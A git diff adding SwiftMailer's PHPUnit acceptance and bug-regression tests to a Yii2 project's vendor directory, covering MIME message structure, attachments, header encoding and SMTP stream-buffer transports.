$message->attach($part2); + + $message->detach($part1); + $message->detach($part2); + + $this->assertEquals( + 'Return-Path: '."\r\n". + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris Corbyn '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString(), + '%s: Message should be restored to orignal state after parts are detached' + ); + } + + public function testCharsetFormatOrDelSpAreNotShownWhenBoundaryIsSet() + { + $message = $this->_createMessage(); + $message->setReturnPath('chris@w3style.co.uk'); + $message->setSubject('just a test subject'); + $message->setFrom(array( + 'chris.corbyn@swiftmailer.org' => 'Chris Corbyn',)); + $message->setCharset('utf-8'); + $message->setFormat('flowed'); + $message->setDelSp(true); + + $id = $message->getId(); + $date = $message->getDate(); + $boundary = $message->getBoundary(); + + $part1 = $this->_createMimePart(); + $part1->setContentType('text/plain'); + $part1->setCharset('iso-8859-1'); + $part1->setBody('foo'); + + $message->attach($part1); + + $part2 = $this->_createMimePart(); + $part2->setContentType('text/html'); + $part2->setCharset('iso-8859-1'); + $part2->setBody('test foo'); + + $message->attach($part2); + + $this->assertEquals( + 'Return-Path: '."\r\n". + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris Corbyn '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: multipart/alternative;'."\r\n". + ' boundary="'.$boundary.'"'."\r\n". + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: text/plain; charset=iso-8859-1'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'foo'. + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: text/html; charset=iso-8859-1'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'test foo'. + "\r\n\r\n". + '--'.$boundary.'--'."\r\n", + $message->toString() + ); + } + + public function testBodyCanBeSetWithAttachments() + { + $message = $this->_createMessage(); + $message->setReturnPath('chris@w3style.co.uk'); + $message->setSubject('just a test subject'); + $message->setFrom(array( + 'chris.corbyn@swiftmailer.org' => 'Chris Corbyn',)); + $message->setContentType('text/html'); + $message->setCharset('iso-8859-1'); + $message->setBody('foo'); + + $id = $message->getId(); + $date = date('r', $message->getDate()); + $boundary = $message->getBoundary(); + + $attachment = $this->_createAttachment(); + $attachment->setContentType('application/pdf'); + $attachment->setFilename('foo.pdf'); + $attachment->setBody(''); + + $message->attach($attachment); + + $this->assertEquals( + 'Return-Path: '."\r\n". + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.$date."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris Corbyn '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: multipart/mixed;'."\r\n". + ' boundary="'.$boundary.'"'."\r\n". + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: text/html; charset=iso-8859-1'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'foo'. + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: application/pdf; name=foo.pdf'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: attachment; filename=foo.pdf'."\r\n". + "\r\n". + base64_encode(''). + "\r\n\r\n". + '--'.$boundary.'--'."\r\n", + $message->toString() + ); + } + + public function testHtmlPartAlwaysAppearsLast() + { + $message = $this->_createMessage(); + $message->setReturnPath('chris@w3style.co.uk'); + $message->setSubject('just a test subject'); + $message->setFrom(array( + 'chris.corbyn@swiftmailer.org' => 'Chris Corbyn',)); + + $id = $message->getId(); + $date = date('r', $message->getDate()); + $boundary = $message->getBoundary(); + + $part1 = $this->_createMimePart(); + $part1->setContentType('text/html'); + $part1->setBody('foo'); + + $part2 = $this->_createMimePart(); + $part2->setContentType('text/plain'); + $part2->setBody('bar'); + + $message->attach($part1); + $message->attach($part2); + + $this->assertEquals( + 'Return-Path: '."\r\n". + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.$date."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris Corbyn '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: multipart/alternative;'."\r\n". + ' boundary="'.$boundary.'"'."\r\n". + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'bar'. + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: text/html'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'foo'. + "\r\n\r\n". + '--'.$boundary.'--'."\r\n", + $message->toString() + ); + } + + public function testBodyBecomesPartIfOtherPartsAttached() + { + $message = $this->_createMessage(); + $message->setReturnPath('chris@w3style.co.uk'); + $message->setSubject('just a test subject'); + $message->setFrom(array( + 'chris.corbyn@swiftmailer.org' => 'Chris Corbyn',)); + $message->setContentType('text/html'); + $message->setBody('foo'); + + $id = $message->getId(); + $date = date('r', $message->getDate()); + $boundary = $message->getBoundary(); + + $part2 = $this->_createMimePart(); + $part2->setContentType('text/plain'); + $part2->setBody('bar'); + + $message->attach($part2); + + $this->assertEquals( + 'Return-Path: '."\r\n". + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.$date."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris Corbyn '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: multipart/alternative;'."\r\n". + ' boundary="'.$boundary.'"'."\r\n". + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'bar'. + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: text/html'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'foo'. + "\r\n\r\n". + '--'.$boundary.'--'."\r\n", + $message->toString() + ); + } + + public function testBodyIsCanonicalized() + { + $message = $this->_createMessage(); + $message->setReturnPath('chris@w3style.co.uk'); + $message->setSubject('just a test subject'); + $message->setFrom(array( + 'chris.corbyn@swiftmailer.org' => 'Chris Corbyn',)); + $message->setBody( + 'just a test body'."\n". + 'with a new line' + ); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Return-Path: '."\r\n". + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris Corbyn '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'just a test body'."\r\n". + 'with a new line', + $message->toString() + ); + } + + // -- Private helpers + + protected function _createMessage() + { + return new Swift_Message(); + } + + protected function _createMimePart() + { + return new Swift_MimePart(); + } + + protected function _createAttachment() + { + return new Swift_Attachment(); + } + + protected function _createEmbeddedFile() + { + return new Swift_EmbeddedFile(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/MimePartAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/MimePartAcceptanceTest.php new file mode 100644 index 00000000..f42405df --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/MimePartAcceptanceTest.php @@ -0,0 +1,15 @@ +register('properties.charset')->asValue(null); + + return Swift_MimePart::newInstance(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Transport/StreamBuffer/AbstractStreamBufferAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Transport/StreamBuffer/AbstractStreamBufferAcceptanceTest.php new file mode 100644 index 00000000..465f2c18 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Transport/StreamBuffer/AbstractStreamBufferAcceptanceTest.php @@ -0,0 +1,134 @@ +markTestSkipped( + 'Will fail on travis-ci if not skipped due to travis blocking '. + 'socket mailing tcp connections.' + ); + } + + $this->_buffer = new Swift_Transport_StreamBuffer( + $this->getMock('Swift_ReplacementFilterFactory') + ); + } + + public function testReadLine() + { + $this->_initializeBuffer(); + + $line = $this->_buffer->readLine(0); + $this->assertRegExp('/^[0-9]{3}.*?\r\n$/D', $line); + $seq = $this->_buffer->write("QUIT\r\n"); + $this->assertTrue((bool) $seq); + $line = $this->_buffer->readLine($seq); + $this->assertRegExp('/^[0-9]{3}.*?\r\n$/D', $line); + $this->_buffer->terminate(); + } + + public function testWrite() + { + $this->_initializeBuffer(); + + $line = $this->_buffer->readLine(0); + $this->assertRegExp('/^[0-9]{3}.*?\r\n$/D', $line); + + $seq = $this->_buffer->write("HELO foo\r\n"); + $this->assertTrue((bool) $seq); + $line = $this->_buffer->readLine($seq); + $this->assertRegExp('/^[0-9]{3}.*?\r\n$/D', $line); + + $seq = $this->_buffer->write("QUIT\r\n"); + $this->assertTrue((bool) $seq); + $line = $this->_buffer->readLine($seq); + $this->assertRegExp('/^[0-9]{3}.*?\r\n$/D', $line); + $this->_buffer->terminate(); + } + + public function testBindingOtherStreamsMirrorsWriteOperations() + { + $this->_initializeBuffer(); + + $is1 = $this->_createMockInputStream(); + $is2 = $this->_createMockInputStream(); + + $is1->expects($this->at(0)) + ->method('write') + ->with('x'); + $is1->expects($this->at(1)) + ->method('write') + ->with('y'); + $is2->expects($this->at(0)) + ->method('write') + ->with('x'); + $is2->expects($this->at(1)) + ->method('write') + ->with('y'); + + $this->_buffer->bind($is1); + $this->_buffer->bind($is2); + + $this->_buffer->write('x'); + $this->_buffer->write('y'); + } + + public function testBindingOtherStreamsMirrorsFlushOperations() + { + $this->_initializeBuffer(); + + $is1 = $this->_createMockInputStream(); + $is2 = $this->_createMockInputStream(); + + $is1->expects($this->once()) + ->method('flushBuffers'); + $is2->expects($this->once()) + ->method('flushBuffers'); + + $this->_buffer->bind($is1); + $this->_buffer->bind($is2); + + $this->_buffer->flushBuffers(); + } + + public function testUnbindingStreamPreventsFurtherWrites() + { + $this->_initializeBuffer(); + + $is1 = $this->_createMockInputStream(); + $is2 = $this->_createMockInputStream(); + + $is1->expects($this->at(0)) + ->method('write') + ->with('x'); + $is1->expects($this->at(1)) + ->method('write') + ->with('y'); + $is2->expects($this->once()) + ->method('write') + ->with('x'); + + $this->_buffer->bind($is1); + $this->_buffer->bind($is2); + + $this->_buffer->write('x'); + + $this->_buffer->unbind($is2); + + $this->_buffer->write('y'); + } + + // -- Creation Methods + + private function _createMockInputStream() + { + return $this->getMock('Swift_InputByteStream'); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Transport/StreamBuffer/BasicSocketAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Transport/StreamBuffer/BasicSocketAcceptanceTest.php new file mode 100644 index 00000000..8f6e453a --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Transport/StreamBuffer/BasicSocketAcceptanceTest.php @@ -0,0 +1,34 @@ +markTestSkipped( + 'Cannot run test without an SMTP host to connect to (define '. + 'SWIFT_SMTP_HOST in tests/acceptance.conf.php if you wish to run this test)' + ); + } + parent::setUp(); + } + + protected function _initializeBuffer() + { + $parts = explode(':', SWIFT_SMTP_HOST); + $host = $parts[0]; + $port = isset($parts[1]) ? $parts[1] : 25; + + $this->_buffer->initialize(array( + 'type' => Swift_Transport_IoBuffer::TYPE_SOCKET, + 'host' => $host, + 'port' => $port, + 'protocol' => 'tcp', + 'blocking' => 1, + 'timeout' => 15, + )); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Transport/StreamBuffer/ProcessAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Transport/StreamBuffer/ProcessAcceptanceTest.php new file mode 100644 index 00000000..b4e88a7a --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Transport/StreamBuffer/ProcessAcceptanceTest.php @@ -0,0 +1,27 @@ +markTestSkipped( + 'Cannot run test without a path to sendmail (define '. + 'SWIFT_SENDMAIL_PATH in tests/acceptance.conf.php if you wish to run this test)' + ); + } + + parent::setUp(); + } + + protected function _initializeBuffer() + { + $this->_buffer->initialize(array( + 'type' => Swift_Transport_IoBuffer::TYPE_PROCESS, + 'command' => SWIFT_SENDMAIL_PATH.' -bs', + )); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Transport/StreamBuffer/SocketTimeoutTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Transport/StreamBuffer/SocketTimeoutTest.php new file mode 100644 index 00000000..0522c081 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Transport/StreamBuffer/SocketTimeoutTest.php @@ -0,0 +1,65 @@ +markTestSkipped( + 'Cannot run test without an SMTP host to connect to (define '. + 'SWIFT_SMTP_HOST in tests/acceptance.conf.php if you wish to run this test)' + ); + } + + $serverStarted = false; + for ($i = 0; $i<5; ++$i) { + $this->_randomHighPort = rand(50000,65000); + $this->_server = stream_socket_server('tcp://127.0.0.1:'.$this->_randomHighPort); + if ($this->_server) { + $serverStarted = true; + } + } + + $this->_buffer = new Swift_Transport_StreamBuffer( + $this->getMock('Swift_ReplacementFilterFactory') + ); + } + + protected function _initializeBuffer() + { + $host = '127.0.0.1'; + $port = $this->_randomHighPort; + + $this->_buffer->initialize(array( + 'type' => Swift_Transport_IoBuffer::TYPE_SOCKET, + 'host' => $host, + 'port' => $port, + 'protocol' => 'tcp', + 'blocking' => 1, + 'timeout' => 1, + )); + } + + public function testTimeoutException() + { + $this->_initializeBuffer(); + $e = null; + try { + $line = $this->_buffer->readLine(0); + } catch (Exception $e) { + } + $this->assertInstanceof('Swift_IoException', $e, 'IO Exception Not Thrown On Connection Timeout'); + $this->assertRegExp('/Connection to .* Timed Out/', $e->getMessage()); + } + + public function tearDown() + { + if ($this->_server) { + stream_socket_shutdown($this->_server, STREAM_SHUT_RDWR); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Transport/StreamBuffer/SslSocketAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Transport/StreamBuffer/SslSocketAcceptanceTest.php new file mode 100644 index 00000000..d2d2a38e --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Transport/StreamBuffer/SslSocketAcceptanceTest.php @@ -0,0 +1,41 @@ +markTestSkipped( + 'SSL is not configured for your system. It is not possible to run this test' + ); + } + if (!defined('SWIFT_SSL_HOST')) { + $this->markTestSkipped( + 'Cannot run test without an SSL enabled SMTP host to connect to (define '. + 'SWIFT_SSL_HOST in tests/acceptance.conf.php if you wish to run this test)' + ); + } + + parent::setUp(); + } + + protected function _initializeBuffer() + { + $parts = explode(':', SWIFT_SSL_HOST); + $host = $parts[0]; + $port = isset($parts[1]) ? $parts[1] : 25; + + $this->_buffer->initialize(array( + 'type' => Swift_Transport_IoBuffer::TYPE_SOCKET, + 'host' => $host, + 'port' => $port, + 'protocol' => 'ssl', + 'blocking' => 1, + 'timeout' => 15, + )); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Transport/StreamBuffer/TlsSocketAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Transport/StreamBuffer/TlsSocketAcceptanceTest.php new file mode 100644 index 00000000..314fffe2 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Transport/StreamBuffer/TlsSocketAcceptanceTest.php @@ -0,0 +1,40 @@ +markTestSkipped( + 'TLS is not configured for your system. It is not possible to run this test' + ); + } + if (!defined('SWIFT_TLS_HOST')) { + $this->markTestSkipped( + 'Cannot run test without a TLS enabled SMTP host to connect to (define '. + 'SWIFT_TLS_HOST in tests/acceptance.conf.php if you wish to run this test)' + ); + } + parent::setUp(); + } + + protected function _initializeBuffer() + { + $parts = explode(':', SWIFT_TLS_HOST); + $host = $parts[0]; + $port = isset($parts[1]) ? $parts[1] : 25; + + $this->_buffer->initialize(array( + 'type' => Swift_Transport_IoBuffer::TYPE_SOCKET, + 'host' => $host, + 'port' => $port, + 'protocol' => 'tls', + 'blocking' => 1, + 'timeout' => 15, + )); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bootstrap.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bootstrap.php new file mode 100644 index 00000000..55538bbc --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bootstrap.php @@ -0,0 +1,18 @@ +allowMockingNonExistentMethods(false); + +if (is_file(__DIR__.'/acceptance.conf.php')) { + require_once __DIR__.'/acceptance.conf.php'; +} +if (is_file(__DIR__.'/smoke.conf.php')) { + require_once __DIR__.'/smoke.conf.php'; +} +require_once __DIR__.'/StreamCollector.php'; +require_once __DIR__.'/IdenticalBinaryConstraint.php'; +require_once __DIR__.'/SwiftMailerTestCase.php'; +require_once __DIR__.'/SwiftMailerSmokeTestCase.php'; diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug111Test.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug111Test.php new file mode 100644 index 00000000..ba29ba87 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug111Test.php @@ -0,0 +1,42 @@ + array( + 'email1@example.com', + 'email2@example.com', + 'email3@example.com', + 'email4@example.com', + 'email5@example.com', + ), + 'sub' => array( + '-name-' => array( + 'email1', + '"email2"', + 'email3\\', + 'email4', + 'email5', + ), + '-url-' => array( + 'http://google.com', + 'http://yahoo.com', + 'http://hotmail.com', + 'http://aol.com', + 'http://facebook.com', + ), + ), + ); + $json = json_encode($complicated_header); + + $message = new Swift_Message(); + $headers = $message->getHeaders(); + $headers->addTextHeader('X-SMTPAPI', $json); + $header = $headers->get('X-SMTPAPI'); + + $this->assertEquals('Swift_Mime_Headers_UnstructuredHeader', get_class($header)); + $this->assertEquals($json, $header->getFieldBody()); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug118Test.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug118Test.php new file mode 100644 index 00000000..bd10c716 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug118Test.php @@ -0,0 +1,20 @@ +_message = new Swift_Message(); + } + + public function testCallingGenerateIdChangesTheMessageId() + { + $currentId = $this->_message->getId(); + $this->_message->generateId(); + $newId = $this->_message->getId(); + + $this->assertNotEquals($currentId, $newId); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug206Test.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug206Test.php new file mode 100644 index 00000000..fdfa5302 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug206Test.php @@ -0,0 +1,38 @@ +_factory = new Swift_Mime_SimpleHeaderFactory($headerEncoder, $paramEncoder, $grammar); + } + + public function testMailboxHeaderEncoding() + { + $this->_testHeaderIsFullyEncoded('email@example.org', 'Family Name, Name', ' "Family Name, Name" '); + $this->_testHeaderIsFullyEncoded('email@example.org', 'Family Namé, Name', ' Family =?utf-8?Q?Nam=C3=A9=2C?= Name'); + $this->_testHeaderIsFullyEncoded('email@example.org', 'Family Namé , Name', ' Family =?utf-8?Q?Nam=C3=A9_=2C?= Name'); + $this->_testHeaderIsFullyEncoded('email@example.org', 'Family Namé ;Name', ' Family =?utf-8?Q?Nam=C3=A9_=3BName?= '); + } + + private function _testHeaderIsFullyEncoded($email, $name, $expected) + { + $mailboxHeader = $this->_factory->createMailboxHeader('To', array( + $email => $name, + )); + + $headerBody = substr($mailboxHeader->toString(), 3, strlen($expected)); + + $this->assertEquals($expected, $headerBody); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug274Test.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug274Test.php new file mode 100644 index 00000000..d305d02e --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug274Test.php @@ -0,0 +1,21 @@ +setExpectedException('Swift_IoException', 'The path cannot be empty'); + $message->attach(Swift_Attachment::fromPath('')); + } + + public function testNonEmptyFileNameAsAttachement() + { + $message = new Swift_Message(); + try { + $message->attach(Swift_Attachment::fromPath(__FILE__)); + } catch (Exception $e) { + $this->fail('Path should not be empty'); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug34Test.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug34Test.php new file mode 100644 index 00000000..6a0f33d5 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug34Test.php @@ -0,0 +1,75 @@ +setCharset('utf-8'); + } + + public function testEmbeddedFilesWithMultipartDataCreateMultipartRelatedContentAsAnAlternative() + { + $message = Swift_Message::newInstance(); + $message->setCharset('utf-8'); + $message->setSubject('test subject'); + $message->addPart('plain part', 'text/plain'); + + $image = Swift_Image::newInstance('', 'image.gif', 'image/gif'); + $cid = $message->embed($image); + + $message->setBody('', 'text/html'); + + $message->setTo(array('user@domain.tld' => 'User')); + + $message->setFrom(array('other@domain.tld' => 'Other')); + $message->setSender(array('other@domain.tld' => 'Other')); + + $id = $message->getId(); + $date = preg_quote(date('r', $message->getDate()), '~'); + $boundary = $message->getBoundary(); + $cidVal = $image->getId(); + + $this->assertRegExp( + '~^'. + 'Sender: Other '."\r\n". + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.$date."\r\n". + 'Subject: test subject'."\r\n". + 'From: Other '."\r\n". + 'To: User '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: multipart/alternative;'."\r\n". + ' boundary="'.$boundary.'"'."\r\n". + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: text/plain; charset=utf-8'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'plain part'. + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: multipart/related;'."\r\n". + ' boundary="(.*?)"'."\r\n". + "\r\n\r\n". + '--\\1'."\r\n". + 'Content-Type: text/html; charset=utf-8'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + ''. + "\r\n\r\n". + '--\\1'."\r\n". + 'Content-Type: image/gif; name=image.gif'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: inline; filename=image.gif'."\r\n". + 'Content-ID: <'.$cidVal.'>'."\r\n". + "\r\n". + preg_quote(base64_encode(''), '~'). + "\r\n\r\n". + '--\\1--'."\r\n". + "\r\n\r\n". + '--'.$boundary.'--'."\r\n". + '$~D', + $message->toString() + ); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug35Test.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug35Test.php new file mode 100644 index 00000000..e07ee8f0 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug35Test.php @@ -0,0 +1,73 @@ +setCharset('utf-8'); + } + + public function testHTMLPartAppearsLastEvenWhenAttachmentsAdded() + { + $message = Swift_Message::newInstance(); + $message->setCharset('utf-8'); + $message->setSubject('test subject'); + $message->addPart('plain part', 'text/plain'); + + $attachment = Swift_Attachment::newInstance('', 'image.gif', 'image/gif'); + $message->attach($attachment); + + $message->setBody('HTML part', 'text/html'); + + $message->setTo(array('user@domain.tld' => 'User')); + + $message->setFrom(array('other@domain.tld' => 'Other')); + $message->setSender(array('other@domain.tld' => 'Other')); + + $id = $message->getId(); + $date = preg_quote(date('r', $message->getDate()), '~'); + $boundary = $message->getBoundary(); + + $this->assertRegExp( + '~^'. + 'Sender: Other '."\r\n". + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.$date."\r\n". + 'Subject: test subject'."\r\n". + 'From: Other '."\r\n". + 'To: User '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: multipart/mixed;'."\r\n". + ' boundary="'.$boundary.'"'."\r\n". + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: multipart/alternative;'."\r\n". + ' boundary="(.*?)"'."\r\n". + "\r\n\r\n". + '--\\1'."\r\n". + 'Content-Type: text/plain; charset=utf-8'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'plain part'. + "\r\n\r\n". + '--\\1'."\r\n". + 'Content-Type: text/html; charset=utf-8'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'HTML part'. + "\r\n\r\n". + '--\\1--'."\r\n". + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: image/gif; name=image.gif'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: attachment; filename=image.gif'."\r\n". + "\r\n". + preg_quote(base64_encode(''), '~'). + "\r\n\r\n". + '--'.$boundary.'--'."\r\n". + '$~D', + $message->toString() + ); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug38Test.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug38Test.php new file mode 100644 index 00000000..e2815168 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug38Test.php @@ -0,0 +1,194 @@ +_attFileName = 'data.txt'; + $this->_attFileType = 'text/plain'; + $this->_attFile = __DIR__.'/../../_samples/files/data.txt'; + Swift_Preferences::getInstance()->setCharset('utf-8'); + } + + public function testWritingMessageToByteStreamProducesCorrectStructure() + { + $message = new Swift_Message(); + $message->setSubject('test subject'); + $message->setTo('user@domain.tld'); + $message->setCc('other@domain.tld'); + $message->setFrom('user@domain.tld'); + + $image = new Swift_Image('', 'image.gif', 'image/gif'); + + $cid = $message->embed($image); + $message->setBody('HTML part', 'text/html'); + + $id = $message->getId(); + $date = preg_quote(date('r', $message->getDate()), '~'); + $boundary = $message->getBoundary(); + $imgId = $image->getId(); + + $stream = new Swift_ByteStream_ArrayByteStream(); + + $message->toByteStream($stream); + + $this->assertPatternInStream( + '~^'. + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.$date."\r\n". + 'Subject: test subject'."\r\n". + 'From: user@domain.tld'."\r\n". + 'To: user@domain.tld'."\r\n". + 'Cc: other@domain.tld'."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: multipart/related;'."\r\n". + ' boundary="'.$boundary.'"'."\r\n". + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: text/html; charset=utf-8'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'HTML part'. + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: image/gif; name=image.gif'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: inline; filename=image.gif'."\r\n". + 'Content-ID: <'.preg_quote($imgId, '~').'>'."\r\n". + "\r\n". + preg_quote(base64_encode(''), '~'). + "\r\n\r\n". + '--'.$boundary.'--'."\r\n". + '$~D', + $stream + ); + } + + public function testWritingMessageToByteStreamTwiceProducesCorrectStructure() + { + $message = new Swift_Message(); + $message->setSubject('test subject'); + $message->setTo('user@domain.tld'); + $message->setCc('other@domain.tld'); + $message->setFrom('user@domain.tld'); + + $image = new Swift_Image('', 'image.gif', 'image/gif'); + + $cid = $message->embed($image); + $message->setBody('HTML part', 'text/html'); + + $id = $message->getId(); + $date = preg_quote(date('r', $message->getDate()), '~'); + $boundary = $message->getBoundary(); + $imgId = $image->getId(); + + $pattern = '~^'. + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.$date."\r\n". + 'Subject: test subject'."\r\n". + 'From: user@domain.tld'."\r\n". + 'To: user@domain.tld'."\r\n". + 'Cc: other@domain.tld'."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: multipart/related;'."\r\n". + ' boundary="'.$boundary.'"'."\r\n". + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: text/html; charset=utf-8'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'HTML part'. + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: image/gif; name=image.gif'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: inline; filename=image.gif'."\r\n". + 'Content-ID: <'.preg_quote($imgId, '~').'>'."\r\n". + "\r\n". + preg_quote(base64_encode(''), '~'). + "\r\n\r\n". + '--'.$boundary.'--'."\r\n". + '$~D' + ; + + $streamA = new Swift_ByteStream_ArrayByteStream(); + $streamB = new Swift_ByteStream_ArrayByteStream(); + + $message->toByteStream($streamA); + $message->toByteStream($streamB); + 